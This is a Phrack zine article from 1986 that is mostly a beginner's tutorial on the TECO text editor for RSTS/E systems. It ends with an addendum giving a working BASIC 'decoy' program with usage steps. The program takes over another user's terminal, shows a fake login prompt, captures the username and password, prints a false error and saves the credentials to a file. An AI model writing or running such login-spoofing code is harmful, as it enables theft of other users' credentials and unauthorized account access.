mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
378 lines
12 KiB
Text
378 lines
12 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume One, Issue Nine, Phile #4 of 10
|
||
|
|
||
|
$$$$$$$$$$$$$$$$$$$$$$$$
|
||
|
$ PROGRAMMING RSTS/E $
|
||
|
$ File2: Editors $
|
||
|
$ by: $
|
||
|
$ Solid State $
|
||
|
$$$$$$$$$$$$$$$$$$$$$$$$
|
||
|
|
||
|
Written (c) Oct 11, 1986
|
||
|
------------------------
|
||
|
|
||
|
Within this article I will be focusing on the TECO text editor found on
|
||
|
almost every installation of RSTS that you will pass by today. I feel it is
|
||
|
unneeded to do a write up on the other editors such as EDT, a screen editor
|
||
|
for VT100 and VT52 terminals, and EDFOR, a FORTRAN text editor, as most
|
||
|
hackers will not have the proper hardware/software at their disposal.
|
||
|
This file does not contain many tricks, but has straightforward information
|
||
|
that most assuredly can be found in the user manual. Since not everyone has
|
||
|
access to help documents though, this file will provide a base for the first
|
||
|
time editor user and hopefully a reference for the experienced. If you feel
|
||
|
otherwise.. don't waste your time reading it.
|
||
|
Following the main portion of the file is an updated copy of the decoy
|
||
|
trick I promised to revise that was featured in my first file. Hopefully, (I
|
||
|
am not promising though), I have succeeded in removing all the bugs this time.
|
||
|
|
||
|
USES
|
||
|
====
|
||
|
|
||
|
A text editor, for those of you that happen to be brain dead, is a utility
|
||
|
similar to the word processor you use everyday on your micro: it allows a
|
||
|
person to create, modify, and compile text files. But, also can edit, and if
|
||
|
need be, create program files. For these reasons and many others, knowing how
|
||
|
to use an editor thoroughly can be a major advantage to the hacker on future
|
||
|
explorations.
|
||
|
|
||
|
EXECUTING
|
||
|
=========
|
||
|
|
||
|
Typing TECO invokes the TECO text editor. If TECO is just typed without any
|
||
|
modifiers, then the file edited last will be placed in the editing buffer.
|
||
|
(More on this subject can be found below under MEMORY.) To edit a different
|
||
|
file, or create a new file, the following forms are used:
|
||
|
|
||
|
TECO filename.ext To edit an existing file.
|
||
|
TECO outfile.ext=infile.ext To edit from one file to another.
|
||
|
MAKE filename.ext To create a new file.
|
||
|
|
||
|
Other ways to execute TECO involve VT terminals, but we are not going into
|
||
|
that much detail within this text.
|
||
|
|
||
|
INITIALIZATION
|
||
|
==============
|
||
|
|
||
|
If there is a file named TECO.INI in your directory when TECO is invoked,
|
||
|
it is assumed to be the macro settings for a VT terminal. We don't need to
|
||
|
bother with those, so make sure to disable the search by appending the switch
|
||
|
/NOINI on execution.
|
||
|
|
||
|
MEMORY
|
||
|
======
|
||
|
|
||
|
Each time TECO is executed, the name of the file being edited is placed
|
||
|
into another file titled TECFnn.TMP where nn is your job number. If you invoke
|
||
|
TECO and wish to edit a file different than the one currently in the memory
|
||
|
file, select the switch /NOMEMORY.
|
||
|
|
||
|
MODIFIERS
|
||
|
=========
|
||
|
|
||
|
There are a number of options, called switches, which modify the execution
|
||
|
of the TECO utility. Some like /NOINI and /NOMEMORY I have previously
|
||
|
mentioned. Other important switches follow along with a short description of
|
||
|
each. To select one of these options, append it to the call string when you
|
||
|
invoke TECO:
|
||
|
|
||
|
TECO filename.ext /[option1] /[option2] ...
|
||
|
|
||
|
/FIND This places the pointer at
|
||
|
the last marked position
|
||
|
within the input file.
|
||
|
/INSPECT If selected, you can only
|
||
|
read the file, not edit.
|
||
|
|
||
|
There are a few more that deal with the VT terminals, but as I've said
|
||
|
already, there is really no need to list them.
|
||
|
|
||
|
INTERRUPT
|
||
|
=========
|
||
|
|
||
|
The control character 'C' (CTRL/C or ^C -which it shall from now on be
|
||
|
referred to as.) is used to halt the execution of the current TECO command,
|
||
|
the same as it does in the BASIC monitor. If ^C is typed twice without a TECO
|
||
|
command in between, the utility is aborted. (You are returned to the keyboard
|
||
|
monitor whichever it was.. eg. BASIC, BASIC+2, RSX..)
|
||
|
|
||
|
COMMAND EXECUTION
|
||
|
=================
|
||
|
|
||
|
When TECO is called, you will receive the * prompt. This is the command
|
||
|
prompt. Almost all commands used by the editor are one or two characters in
|
||
|
length and are typed in using a normal ASCII keyboard. To terminate a TECO
|
||
|
command the <ESCAPE> sequence is used. When typed, it will echo back as a $
|
||
|
character. Two consecutive <ESCAPE>s must be entered before a command will be
|
||
|
carried out. This allows you to string together a line of commands like:
|
||
|
|
||
|
* [command1]$[command2]$[command3]$ ... $$
|
||
|
|
||
|
COMMANDS
|
||
|
========
|
||
|
|
||
|
]Moving the Pointer[
|
||
|
|
||
|
The text pointer is used to represent where you are working, ie. if you
|
||
|
were to enter a command, what part of the text it would affect. It's similar
|
||
|
to the job your cursor does when writing a program on your micro.
|
||
|
|
||
|
'J'
|
||
|
|
||
|
The "J" command is used to move the text pointer to the beginning or end of
|
||
|
the editing buffer.
|
||
|
|
||
|
BJ Move to the beginning of the buffer.
|
||
|
ZJ Move to end of the editing buffer.
|
||
|
|
||
|
'L'
|
||
|
|
||
|
The "L" command moves the text pointer from one line to another. Common
|
||
|
forms of the command are:
|
||
|
|
||
|
L Move to beginning of the next line.
|
||
|
0L Move to front of current line.
|
||
|
3L Move to the third line down from the current line.
|
||
|
-1L Move back to previous line. (One above current.)
|
||
|
...
|
||
|
|
||
|
'C'
|
||
|
|
||
|
The "C" command is used to move the text pointer past a specified number of
|
||
|
characters, forward or backwards, on the current line. Common forms include:
|
||
|
|
||
|
C Advance the pointer to the next character.
|
||
|
5C Move the pointer forward five characters.
|
||
|
-5C Move back five characters.
|
||
|
...
|
||
|
|
||
|
]Listing Text[
|
||
|
|
||
|
There is one command with a couple various forms to list the text within
|
||
|
the editor; they follow.
|
||
|
|
||
|
'T'
|
||
|
|
||
|
The "T" is used to list text from the editing buffer. Commonly found forms
|
||
|
are:
|
||
|
|
||
|
HT Print the entire contents of the editing buffer.
|
||
|
T Type text from the pointer to the end of the current line.
|
||
|
0T Type text from the beginning of the line to the text pointer.
|
||
|
5T Print the next five lines of text from the buffer, starting where
|
||
|
the pointer is located.
|
||
|
...
|
||
|
|
||
|
]Entering Text[
|
||
|
|
||
|
What use is an editor if you can't add to the text? There is one command,
|
||
|
insert, which allows you to write. If you are creating a file from scratch,
|
||
|
you would enter the insert command each time you wanted to add a new line to
|
||
|
your document.
|
||
|
|
||
|
'I'
|
||
|
|
||
|
The "I" command is used to insert text into the buffer. After issued, the
|
||
|
text entered will be placed where the text pointer is located. The command is
|
||
|
of the form:
|
||
|
|
||
|
I <text> <ESCAPE>
|
||
|
|
||
|
For example, to insert the sentence, "This is an example.", type:
|
||
|
|
||
|
IThis is an example$
|
||
|
|
||
|
(Note: Remember that <ESCAPE> echoes back to your screen as $)
|
||
|
|
||
|
]Deleting Text[
|
||
|
|
||
|
The TECO text editor makes it easy to delete words, sentences, etc. from
|
||
|
the buffer. There are two different commands used, line delete, and letter
|
||
|
delete.
|
||
|
|
||
|
'K'
|
||
|
|
||
|
The "K" issued when you choose to delete lines of text from the editing
|
||
|
buffer. Common forms are as follows:
|
||
|
|
||
|
K Delete the text from the pointer through the end of the current
|
||
|
line.
|
||
|
0K Delete the text from the beginning of the line to through the
|
||
|
pointer.
|
||
|
5K Omit the following five lines from the buffer.
|
||
|
HK Kill the entire contents of the buffer.
|
||
|
...
|
||
|
|
||
|
'D'
|
||
|
|
||
|
The "D" appropriately is used to delete individual characters. A few of the
|
||
|
forms found are:
|
||
|
|
||
|
D Delete the character which follows directly after the text pointer.
|
||
|
5D Delete the following five characters from the text, starting from
|
||
|
the pointer.
|
||
|
-1D Delete the character directly behind the pointer.
|
||
|
...
|
||
|
|
||
|
]Searching[
|
||
|
|
||
|
All good word processors include a routine to search and replace a string
|
||
|
of text. So does the TECO text editor. Two forms are used, the locate text,
|
||
|
and the search and replace text commands.
|
||
|
|
||
|
'S'
|
||
|
|
||
|
The "S" is used to locate a specified string of text currently in the
|
||
|
editing buffer. If the text is found, the pointer is positioned directly after
|
||
|
the specified text. If the string is not found, an error message results and
|
||
|
the text pointer is placed at the beginning of the buffer.
|
||
|
|
||
|
S <text> <ESCAPE>
|
||
|
|
||
|
For example, to locate "This is an example.", enter:
|
||
|
|
||
|
SThis is an example.$
|
||
|
|
||
|
'FS'
|
||
|
|
||
|
"FS" for find and replace does exactly that. It searches for a specified
|
||
|
string of text, and if found replaces it with another sting of text. If the
|
||
|
specified text is not found though, the pointer is positioned at the beginning
|
||
|
of the buffer just like the "S" command. The "FS" command is of the form:
|
||
|
|
||
|
FS <old text> <ESCAPE> <new text> <ESCAPE>
|
||
|
|
||
|
For an example, to replace "hullo" with "hello!", use the command:
|
||
|
|
||
|
FShullo$hello!$
|
||
|
|
||
|
]Saving[
|
||
|
|
||
|
To save the new version of the file which you have been editing, you enter
|
||
|
the exit command and it shall be saved in your directory. Remember though, if
|
||
|
you wish to quit but not replace a file with your edited version, just type ^C
|
||
|
twice.
|
||
|
|
||
|
'EX'
|
||
|
|
||
|
The "EX" command is used to write the current buffer to the output file,
|
||
|
then exit from TECO. For example:
|
||
|
|
||
|
EX$$
|
||
|
|
||
|
(Note: Remember that <ESCAPE> is echoed as $, and typing <ESCAPE> twice causes
|
||
|
a command to be executed.)
|
||
|
|
||
|
FLAGS
|
||
|
=====
|
||
|
|
||
|
The TECO text editor is not limited to the commands already shown. The
|
||
|
editor has a few flags which can be entered at the * prompt that will modify
|
||
|
the TECO environment.
|
||
|
To examine the value of a flag type:
|
||
|
|
||
|
[flag]x
|
||
|
|
||
|
Where [flag] is the specified flag and x is a numeric argument which returns
|
||
|
text. To set the value of a flag enter:
|
||
|
|
||
|
x[flag]
|
||
|
|
||
|
Where x is the number or command being specified for the flag [flag].
|
||
|
|
||
|
'EH'
|
||
|
|
||
|
EH is the error handling flag. Here's the table of arguments and their
|
||
|
meanings:
|
||
|
|
||
|
Value Meaning
|
||
|
|
||
|
1 If an error is encountered within the operation of TECO, only the
|
||
|
3-character error code is printed.
|
||
|
2 If an error is encountered during operation, a short message
|
||
|
explaining the error is printed. (default setting)
|
||
|
3 If an error is encountered, the command(s) which led to the error
|
||
|
are printed.
|
||
|
|
||
|
'ET'
|
||
|
|
||
|
ET, or Edit Terminal, is the command for modifying terminal output. Table
|
||
|
of arguments follows:
|
||
|
|
||
|
Value Meaning
|
||
|
|
||
|
1 Output is in image mode.
|
||
|
2 Terminal in use is a scope.
|
||
|
4 Terminal in use has lowercase available.
|
||
|
8 ^T is read without echo.
|
||
|
16 Cancels ^O during output.
|
||
|
128 TECO aborts if an error is encountered.
|
||
|
256 Output to screen is truncated to the terminal's width.
|
||
|
512 VT terminal support available.
|
||
|
1024 (same as above)
|
||
|
32768 Traps ^C
|
||
|
|
||
|
'^X'
|
||
|
|
||
|
^X, the last flag I'll mention, deals with searches. (Look above for the
|
||
|
command to search.)
|
||
|
|
||
|
Value Meaning
|
||
|
|
||
|
0 Either case matches during searches.
|
||
|
1 An exact case match is required to complete a search.
|
||
|
|
||
|
|
||
|
CONCLUSION
|
||
|
==========
|
||
|
|
||
|
That just about wraps up the TECO text editor.. boring eh? But as I've said
|
||
|
time and again, editors are important to hackers.
|
||
|
|
||
|
Till next time...
|
||
|
|
||
|
Solid State
|
||
|
>>>PhoneLine Phantoms!
|
||
|
|
||
|
_______________________________________________________________
|
||
|
File1- Addendum:
|
||
|
|
||
|
Here's the updated version of the decoy program (yeah, the one that had an
|
||
|
error!) that was featured in File1. The concept of this revision is slightly
|
||
|
different, but it 'should' work more efficiently and easily than the first.
|
||
|
To execute the program, first do a SYstat and record the KB numbers of
|
||
|
potential targets. Run the program, and enter the number of the KB only..
|
||
|
(Don't hang up!) ..then just wait till the program has ended and then check
|
||
|
the output file.
|
||
|
|
||
|
Note: This listing will not without modification work on all systems or under
|
||
|
all conditions.
|
||
|
|
||
|
|
||
|
1 ! R S T S decoy
|
||
|
10 EXTEND
|
||
|
100 ON ERROR GOTO 1000
|
||
|
120 PRINT CHR$(140):PRINT:PRINT
|
||
|
130 INPUT "To which keyboard (KB)";K$
|
||
|
140 K$=CVT$$(K$,4%)
|
||
|
200 OPEN "KB:"+K$ AS FILE #1%
|
||
|
220 INPUT LINE #1%,A$
|
||
|
230 IF CVT$$(A$,4%)="" THEN 220
|
||
|
240 PRINT #1%
|
||
|
240 PRINT #1%,"RSTS"
|
||
|
250 PRINT #1%
|
||
|
260 PRINT #1%,"User: ";
|
||
|
270 INPUT LINE #1%,U$:U$=CVT$$(U$,4%)
|
||
|
280 T$=SYS(CHR$(3%))
|
||
|
290 PRINT #1%,"Password: ";
|
||
|
300 INPUT LINE #1%,P$:P$=CVT$$(P$,4%)
|
||
|
310 Z$=SYS(CHR$(2%))
|
||
|
320 PRINT #1%
|
||
|
330 PRINT #1%,"Invalid entry - try again":PRINT #1%
|
||
|
340 CLOSE #1%
|
||
|
400 OPEN "DATA.TXT" FOR OUTPUT AS FILE #2%
|
||
|
410 PRINT #2%,U$;";";P$
|
||
|
420 CLOSE #2%
|
||
|
999 END
|
||
|
1000 PRINT "?ERROR line #";ERL:STOP
|